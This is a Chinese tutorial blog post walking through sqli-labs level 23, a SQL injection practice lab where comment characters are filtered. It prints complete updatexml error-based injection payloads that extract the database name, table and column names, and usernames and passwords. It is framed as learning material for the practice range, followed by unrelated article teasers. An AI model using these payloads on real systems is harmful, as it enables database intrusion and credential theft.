sqli-labs关卡23(基于get提交的过滤注释符的联合注入)

文章目录

  • 前言
  • 一、回顾前几关知识点
  • 二、靶场第二十三关通关思路
    • 1、判断注入点
    • 2、爆数据库名
    • 3、爆数据库表
    • 4、爆数据库列
    • 5、爆数据库关键信息
  • 总结


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


一、回顾前几关知识点

前几关是基于http头部注入,由于开发人员为了方便记录用户cookie、xff、user-agent、referer等头部信息与数据库交互,但是没有严格过滤这些参数,导致攻击者可以拼接任意sql语句到数据库中实现非法数据库查询。这一关是开始有过滤敏感字符了。

二、靶场第二十三关通关思路

  • 1、判断注入点
  • 2、爆数据库名
  • 3、爆数据库表
  • 4、爆数据库列
  • 5、爆数据库关键信息

1、判断注入点

这一关又回到了前10关的get提交的注入了,老规矩输入万能语句 and 1=1 和and 1=2 发现页面均正常,说明不是数字型。直接提交一个单引号发现报错了(如图所示),报错信息为

Warning: mysql_fetch_array() expects parameter 1 to be resource,
boolean given in C:\tools\phpstudy_pro\WWW\sqli-labs\Less-23\index.php
on line 38 You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ‘‘1’’ LIMIT 0,1’ at line 1

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
我们进一步猜想看看是不是单引号,我们构造payload

1' and 1=1--+
1' and 1=2--+

发现居然都是报错,按道理应该是1=1是正常的,1=2才是页面异常,难道是我们的思路错了吗?我们仔细观察,他页面异常还是单引号闭合的问题,还是因为多了一个单引号导致sql查询语句错误。所以这里应该是注释符的问题,他没有把后面多的单引号过滤掉。本来应该是id=1’ and 1=1–+'的。所以考虑是注释符被过滤了,看源码发现注释符确实被过滤了,被替换为空了(如图所示)
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
所以我们不能用注释符构造payload了,注释符的作用其实就是为了闭合多余的一个单引号,让我们payload顺利拼接到数据库查询。既然用不了那我们自己闭合。
payload为

1' and '1'='1

payload这样就能成功解决多一个单引号的问题了,带入数据库的语句这样就不会报错id='1' and '1'='1'(如图所示)
在这里插入图片描述

2、爆数据库名

这里由于不知道显位order by闭合payload,不知道显位是多少个,这里我就用报错注入了。这里后面加or ‘1’='1是为了闭合多余的单引号。
payload为

1' and updatexml(1,concat(0x3a,(select database()),0x3a),1) or '1'='1

在这里插入图片描述

3、爆数据库表

payload为

1' or updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a),1) or '1'='1

在这里插入图片描述

4、爆数据库列

payload为

1' or updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x3a),1) or '1'='1
1' or updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1),0x3a),1) or '1'='1

在这里插入图片描述

在这里插入图片描述

5、爆数据库关键信息

payload为

1' or updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1) or '1'='1
1' or updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1) or '1'='1

在这里插入图片描述

在这里插入图片描述


总结

这一关是一个get提交的单引号闭合的注入,与之前不同的是这一关注释符被过滤为空了,我们得自己构造闭合。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/625358.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

给 Linux 主机添加 SSH 双因子认证

GitHub:https://github.com/google/google-authenticator-android 在信息时代,服务器安全愈发成为首要任务。Linux 主机通过 ssh 方式连接,当存在弱密码的情况下,通过暴力破解的方式会很容易就被攻破了,本文将向你展示…

国科大软件安全原理期末复习笔记

1 软件安全总论 1.软件的三大特性:复杂性、互连性、可扩展性; 2.基本概念:缺陷、漏洞、风险 缺陷(bug):软件在设计和实现上的错误;漏洞(vulnerability):漏洞…

解决虚拟机字体太小的问题

在win11中,安装VMWare软件后,创建好虚拟机,打开终端后,发现终端里显示的字体太小,不方便使用,因此需要修改。 1、打开终端 2、输入"gsettings set org.gnome.desktop.interface text-scaling-factor…

代码随想录算法训练营第五十二天|300.最长递增子序列、674. 最长连续递增序列、718. 最长重复子数组

代码随想录算法训练营第五十二天|300.最长递增子序列、674. 最长连续递增序列、718. 最长重复子数组 最长递增子序列 300.最长递增子序列 文章讲解:https://programmercarl.com/0300.%E6%9C%80%E9%95%BF%E4%B8%8A%E5%8D%87%E5%AD%90%E5%BA%8F%E5%88%97.html 题目链…

Android 13.0仿ios的hotseat效果修改hotseat样式

1.概述 在13.0系统产品rom定制化开发中,在项目需求的需要,系统原生Launcher的布局样式很一般,所以需要重新设计ui对布局样式做调整,产品在看到 ios的hotseat效果觉得特别美观,所以要仿ios一样不需要横屏铺满的效果 居中显示就行了,所以就要看hotseat的具体布局显示了 效…

【MATLAB】CEEMD+FFT+HHT组合算法

代码原理 CEEMD(集合经验模态分解)FFT(快速傅里叶变换)HHT(希尔伯特-黄变换)组合算法也是一种常见的信号处理和分析方法。这种组合算法结合了CEEMD、FFT和HHT三个步骤,可以处理非线性和非平稳信…

react中概念性总结(三)

目录 React中事件绑定函数的方法有哪些? 函数如何传递参数? 什么是重绘与回流,触发条件,如何减少回流和重绘 React 生命周期中 getDerivedStateFromProps怎么使用,怎么理解? React中路由单页面应用的优缺点都有哪些…

Vue3+Vite项目搭建

为什么选择vite而不是vue-cli: vite下一代前端开发与构建工具 vite创建的项目默认vue3 优势: 开发环境中,无需打包,可快速的冷启动 轻量快速的热重载(HMR) 真正的按需编译,不在等待整个应用…

Android中两种选择联系人方式

1.在选择联系人方式网上也有很多案例 有的说是使用ContactsContract.CommonDataKinds.Phone.CONTENT_URI也有的说是使用ContactsContract.Contacts.CONTENT_URI其实这两种方式都可以使用 只不过ContactsContract.Contacts.CONTENT_URI这种方式需要多查询一遍 一、使用Contacts…

23. 合并 K 个升序链表(递归分治)

这是我的第一个自己ak的分治题目!!!好耶!!(骄傲脸 思路参考:148. 排序链表(归并排序) /*** Definition for singly-linked list.* public class ListNode {* int v…

龙芯系统部署Elasticsearch

1.配置JDK环境 #查看是否安装jdk java -version#搜索java,结果:/usr/bin/java whereis java#(1)配置环境变量(临时有效) export JAVA_HOME/usr export PATH$PATH:$JAVA_HOME/bin#(2)配置环境变量(永久有效…

DA14531-高级应用篇-用户如何开启OTA服务

文章目录 1. OTA相关文件2.OTA宏定义列表3.OTA主要函数接口4.OTA具体实施步骤5.总结1. OTA相关文件 1)app_suotar_task.c和app_suotar_task.h 2)app_suotar.c和app_suotar.h 2.OTA宏定义列表 宏定义注解CFG_PRF_SUOTAR用户开启SOTA功能BLE_SUOTA_RECEIVERSOTA功能服务CFG_S…

把树状数组在页面显示成‘/‘/‘形式,并搜索想要的值

大概思路 在Vue中,若要将树状数组以类似于文件路径的形式(即“/”分隔)显示在页面上,可以按照以下步骤操作: 首先,假设您有一个树状数组,其结构可能如下所示: const treeData [{…

浅谈专项测试之弱网络测试

一.弱网络测试背景 移动端产品的使用并非完全都是在流畅的wifi环境,大部分用户主要使用4G,3G,2G等网络,另外因为移动端产品使用的场景多变,如进公交,上地铁,坐电梯,使得弱网测试显得尤为重要。考…

QT-JSON相关API/QJsonDocument/QJsonObject

QJsonObject类的相关操作 格式化排版创建JSON对象,使用字符串创建JSON对象,使用标准JSON对象获取JSON对象中的值,非数组获取JSON对象中的值,数组 格式化排版 下面的代码将一个符合JSON格式的字符串,格式化成具有缩进格…

HCIA基础知识

IP地址、静态路由、动态路由、交换机 OSPF RIP DHCP VLAN ACL NAT OSI TCP/IP UDP TCP 三次握手,四次挥手,报头 什么是网络? 由网络连接设备通过传输介质将网络终端设备连接起来,进行资源共享、信息传递的平台。 OSI七…

【C】函数指针 int (*addPtr)(int, int);

目录 函数指针1)定义2)声明和赋值3)通过函数指针调用函数4)用途:函数指针作为函数参数5)函数名和函数指针6)复杂一点的例子 函数指针 1)定义 在C语言中,函数指针是指向…

智慧校园云桌面解决方案应用场景

​​​​​​教师办公解决方案 教师办公桌面现状 大多数学校一位教师配置一台个人计算机,实际上每位教师平时会使用到的计算机资源不超过15-20%,因此多数时间个人计算机都是处在闲置状态。教师常用的办公用机一般都使用台式机,所有的数据都存放在本地(“信息孤点”),根…

如何购买腾讯云服务器?图文教程超详细

腾讯云服务器购买流程很简单,有两种购买方式,直接在官方活动上购买比较划算,在云服务器CVM或轻量应用服务器页面自定义购买价格比较贵,但是自定义购买云服务器CPU内存带宽配置选择范围广,活动上购买只能选择固定的活动…

​MyBatisPlus的批量插入方法saveBatch时速度缓慢​

一、场景描述 项目组在使用MyBatisPlus的批量插入方法saveBatch时速度缓慢,插入1w条数据,需要近1分钟的时间。 二、解决方案 解决方案很简单,在数据库配置的uri后面加上下面这个属性即可: urlxxxxxxxxxxxxxxxxxxxxxx?rewriteB…